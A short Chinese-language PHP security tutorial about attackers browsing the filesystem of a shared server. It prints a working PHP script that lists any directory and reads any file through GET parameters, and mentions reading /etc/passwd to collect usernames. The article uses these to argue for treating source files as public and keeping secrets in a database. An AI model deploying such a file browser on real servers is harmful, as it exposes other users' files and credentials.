除了能在共享伺服器上讀取任意檔案之外,攻擊者還能建立一個可以瀏覽檔案系統的腳本。由於你的大多數敏感檔案不會保存在網站主目錄下,此類腳本一般用於找到你的原始檔案的所在位置。請看下例:
<pre class="brush:php;toolbar:false"> <?php if (isset($_GET['dir'])) { ls($_GET['dir']); } elseif (isset($_GET['file'])) { cat($_GET['file']); } else { ls('/'); } function cat($file) { echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8')); } function ls($dir) { $handle = dir($dir); while ($filename = $handle->read()) { $size = filesize("$dir$filename"); if (is_dir("$dir$filename")) { $type = 'dir'; $filename .= '/'; } else { $type = 'file'; } if (is_readable("$dir$filename")) { $line = str_pad($size, 15); $line .= "<a href=\"{$_SERVER['PHP_SELF']}"; $line .= "?$type=$dir$filename\">$filename</a>"; } else { $line = str_pad($size, 15); $line .= $filename; } echo "$line\n"; } $handle->close(); } ?>
攻擊者可能會先察看/etc/passwd檔案或/home目錄以取得該伺服器上的使用者名稱清單;可以透過語言的結構如include或require來發現儲存在網站主目錄以外的來源檔案所在位置。例如,考慮一下下面的腳本檔案/home/victim/public_html/admin.php:
<?php include '../inc/db.inc'; /* ... */ ?>
這項攻擊說明了為什麼要把共享伺服器上的所有原始檔案看成是公開的,並且要選擇資料庫實現所有敏感資料的保存。
以上就是PHP安全-檔案系統瀏覽的內容,更多相關內容請關注PHP中文網(m.sbmmt.com)!